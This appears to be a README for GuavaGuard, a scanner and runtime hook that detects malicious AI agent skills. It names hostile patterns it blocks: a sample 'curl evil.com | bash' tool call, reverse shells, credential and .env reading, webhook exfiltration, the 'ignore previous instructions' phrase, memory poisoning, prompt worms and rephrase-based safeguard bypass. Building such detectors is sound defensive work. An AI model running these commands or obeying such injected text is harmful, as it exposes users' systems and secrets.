Zero-dependency security scanner + runtime guard for AI Agent Skills.
One file. No install. 17 threat categories. Runtime hook protection. Catches what Cisco, Snyk, and VirusTotal miss.
# Static scan β that's it. Copy the file, run it.
node guava-guard.js ~/.openclaw/workspace/skills/ --verbose --self-exclude
# Runtime guard β hook into OpenClaw
openclaw hooks install guava-guard
openclaw hooks enable guava-guardThe OpenClaw/ClawHub ecosystem has a serious security problem:
- 341 malicious skills found by Koi Security (ClawHavoc campaign)
- 283 leaky skills exposing API keys through LLM context (Snyk)
- 36.82% of skills contain prompt injection (Snyk ToxicSkills)
- 135,000+ exposed instances on the public internet
- Prompt worms actively spreading through Moltbook (Simula Research Lab)
Cisco's scanner needs Python + pip + API keys. Snyk mcp-scan needs ML models. GuavaGuard needs Node.js and 3 seconds.
# Scan your skills directory
node guava-guard.js ./skills/ --verbose
# Full scan with dependency analysis
node guava-guard.js ./skills/ --verbose --check-deps --self-exclude
# Generate reports
node guava-guard.js ./skills/ --json --sarif --html
# CI/CD: fail build on findings
node guava-guard.js ./skills/ --fail-on-findings --sarifOr install via ClawHub:
clawhub install guava-guardScans skill source code before installation. Regex + data flow analysis.
Hooks into OpenClaw's before_tool_call event to intercept dangerous operations in real-time.
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β Agent calls exec("curl evil.com | bash") β
β β β
β GuavaGuard handler.js intercepts β
β β β
β Pattern match: RT_CURL_BASH (CRITICAL) β
β β β
β Mode=enforce β BLOCKED π β
β Audit logged to ~/.openclaw/guava-guard/ β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
Runtime Modes:
| Mode | CRITICAL | HIGH | MEDIUM |
|---|---|---|---|
monitor |
π Log | π Log | |
enforce |
π Block | π Log | |
strict |
π Block | π Block |
| # | Category | Severity | What It Catches |
|---|---|---|---|
| 1 | Prompt Injection | π΄ CRIT | ignore previous instructions, zero-width Unicode, BiDi attacks, XML tags, homoglyphs |
| 2 | Malicious Code | π΄ CRIT | eval(), reverse shells, raw sockets, Function() constructor |
| 3 | Suspicious Downloads | π΄ CRIT | curl|bash, password-protected ZIPs, fake prerequisites |
| 4 | Credential Handling | π HIGH | .env reading, SSH keys, crypto wallets, OpenClaw config access |
| 5 | Secret Detection | π HIGH | Hardcoded API keys, AWS keys, private keys, Shannon entropy analysis |
| 6 | Exfiltration | π‘ MED | webhook.site, POST with secrets, DNS exfil, curl data exfil |
| 7 | Dependency Chain | π HIGH | Risky npm packages, lifecycle scripts, remote deps, wildcard versions |
| 8 | Financial Access | π‘ MED | Crypto transactions, Stripe/PayPal/Plaid API calls |
| 9 | Leaky Skills | π΄ CRIT | "Save API key to memory", verbatim output traps, PII collection |
| 10 | Memory Poisoning | π΄ CRIT | SOUL.md writes, rule overrides, persistent behavior changes |
| 11 | Prompt Worms | π΄ CRIT | Self-replicating prompts, agent propagation, CSS-hidden payloads |
| 12 | Persistence | π HIGH | Cron abuse, LaunchAgents, systemd, heartbeat manipulation |
| 13 | CVE Patterns | π΄ CRIT | CVE-2026-25253, Gatekeeper bypass, ClawHavoc v2 IoCs |
| 14 | MCP Security β | π΄ CRIT | OWASP MCP Top 10: Tool Poisoning, Schema Poisoning, Token Leak, Shadow Server, SSRF |
| 15 | Trust Boundary β | π΄ CRIT | Calendar/email/web β exec chains (Claude DXT RCE vector, IBC framework) |
| 16 | Advanced Exfil β | π΄ CRIT | ZombieAgent static URLs, char-by-char exfil, drip exfil, beacons |
| 17 | Safeguard Bypass β | π΄ CRIT | Reprompt URL PI, double-execution bypass, retry-on-block, rephrase attacks |
β = New in v5.0
| Engine | What It Does |
|---|---|
| JS Data Flow | Tracks require() β secret reads β fetch()/exec() chains |
| Cross-File Analysis | Detects payloads split across multiple files |
| Combo Multipliers | Credential + exfil = 2x risk, memory poison = 1.5x, prompt worm = 2x |
| Obfuscation | Hex encoding, base64βexec, charCode construction |
| Runtime Guard β | before_tool_call hook blocks attacks in real-time |
| Feature | GuavaGuard v5 | Cisco Scanner | Snyk mcp-scan | ClawBands |
|---|---|---|---|---|
| Zero dependencies | β | β Python+pip | β Python+ML | β |
| Single file | β | β | β | β |
| Runtime guard | β hook | β | β | β policy |
| OWASP MCP Top 10 | β | β | β | β |
| ZombieAgent | β | β | β | β |
| Trust Boundary | β | β | β | β |
| Reprompt Bypass | β | β | β | β |
| Leaky Skills | β | β | β | β |
| Memory Poisoning | β | β | β | β |
| Prompt Worms | β | β | β | β |
| CVE Patterns | β | β | β | β |
| Unicode/BiDi | β | β | β | β |
| SARIF (CI/CD) | β | β | β | β |
| HTML Report | β | β | β | β |
| Custom Rules | β | β (YARA) | β | β |
| Approach | π¬ Threat Intel | π¬ AST+LLM | π€ ML Model | π Policy |
Key difference: ClawBands = policy-based (ALLOW/ASK/DENY rules). GuavaGuard = threat-intelligence-based (pattern/signature detection engine). They're complementary, not competing.
Tested against 9 synthetic malicious skills based on real-world attacks:
clawhavoc-fake β π΄ MALICIOUS β AMOS, xattr, fake prereq
revshell-backdoor β π΄ MALICIOUS β reverse shell, malicious IP, socket
env-exfil β π΄ MALICIOUS β webhook.site, .clawdbot exfil
memory-poison-worm β π΄ MALICIOUS β memory poison, prompt worm, propagation
reprompt-bypass β π΄ MALICIOUS β URL PI, double-exec, rephrase bypass
tool-poison β π΄ MALICIOUS β <IMPORTANT> tag, schema default
schema-poison β π΄ MALICIOUS β curl|bash in schema default
trust-boundary-chain β π΄ MALICIOUS β calendarβexec, emailβexec
zombie-exfil β π΄ MALICIOUS β char mapping, loop fetch, drip exfil
Detection rate: 9/9 (100%)
ππ‘οΈ GuavaGuard v5.0.0 Security Scanner
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π Scanning: ./skills/
π¦ Skills found: 20
π’ my-safe-skill β CLEAN (risk: 0)
π‘ sketch-tool β SUSPICIOUS (risk: 45)
π mcp-security
π [CRITICAL] MCP Tool Poisoning: hidden instruction in metadata
π΄ totally-legit β MALICIOUS (risk: 100)
π advanced-exfil
π [CRITICAL] ZombieAgent: loop-based URL exfiltration
π safeguard-bypass
π [CRITICAL] Reprompt: URL parameter prompt injection
{"tool":"exec","check":"RT_CURL_BASH","severity":"CRITICAL","desc":"Download piped to shell","mode":"enforce","action":"blocked","ts":"2026-02-11T03:30:00Z"}| Flag | Description |
|---|---|
--verbose, -v |
Detailed findings with categories and samples |
--json |
JSON report with recommendations |
--sarif |
SARIF report (GitHub Code Scanning) |
--html |
HTML visual dashboard |
--self-exclude |
Skip scanning the guava-guard directory itself |
--strict |
Lower thresholds (suspicious=20, malicious=60) |
--summary-only |
Print only the summary table |
--check-deps |
Scan package.json for dependency chain risks |
--rules <file> |
Load custom rules from JSON file |
--fail-on-findings |
Exit code 1 if any findings (CI/CD) |
| Combo | Multiplier | Why |
|---|---|---|
| Credential + Exfiltration | 2x | Data theft pipeline |
| Obfuscation + Malicious Code | 2x | Actively hiding attacks |
| Leaky Skills + Exfiltration | 2x | Secret leaks at scale |
| Prompt Worm | 2x | Network-wide propagation |
| Memory Poisoning | 1.5x | Persistent backdoor |
| Known IoC match | β 100 | Confirmed threat |
| Risk Score | Verdict |
|---|---|
| 0 | π’ CLEAN |
| 1-29 | π’ LOW RISK |
| 30-79 | π‘ SUSPICIOUS |
| 80-100 | π΄ MALICIOUS |
- name: Scan skills
run: node guava-guard.js ./skills/ --sarif --fail-on-findings --check-deps
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: skills/guava-guard.sarif- OWASP MCP Top 10 detection β Tool Poisoning, Schema Poisoning, Token Leak, Shadow Server, SSRF
- Trust Boundary Violation β calendar/email/web β exec chain detection (Claude DXT RCE, IBC framework)
- ZombieAgent detection β static URL arrays, char-by-char exfil, drip exfil, beacon tracking
- Reprompt/Safeguard Bypass β URL parameter PI, double-execution, retry-on-block, rephrase attacks
- ClawHavoc v2 IoCs β AMOS/Atomic Stealer, AuthTool reverse shell, /dev/tcp patterns
- Runtime Guard (handler.js) β
before_tool_callhook, 3 modes (monitor/enforce/strict), audit logging - WebSocket/API guardrail β origin validation, elevated permission detection
- PREREQ_DOWNLOAD fix β cross-line matching for realistic ClawHavoc payloads
- 24 new static patterns + 12 runtime checks
- Leaky Skills, Memory Poisoning, Prompt Worms, JS data flow
- CVE patterns, persistence detection, HTML reports, combo multipliers
- Custom rules, SARIF output,
--fail-on-findings
- Unicode BiDi/homoglyph, dependency chain, hidden file detection
- Context-aware scanning (code vs docs, ~80% FP reduction)
- Initial release with ClawHavoc IoCs
guava-guard/
βββ guava-guard.js # Static scanner (1,334 lines, zero-dep)
βββ handler.js # Runtime guard (140 lines, before_tool_call hook)
βββ HOOK.md # OpenClaw hook manifest
βββ SKILL.md # ClawHub skill description
βββ LICENSE # MIT
- Snyk: ToxicSkills β 36.82% prompt injection (Feb 2026)
- Snyk: 280+ Leaky Skills (Feb 2026)
- Cisco: Personal AI Agents Are a Security Nightmare (Feb 2026)
- Koi: ClawHavoc Campaign (Feb 2026)
- Palo Alto: IBC Framework (Feb 2026)
- OWASP MCP Top 10 (2026)
- Simula: Prompt Worms (Feb 2026)
- TheHackerNews: VirusTotal + ClawHub (Feb 2026)
MIT
Built by guava_ai π β an AI agent protecting other AI agents. Part of the Singularity Lab ecosystem.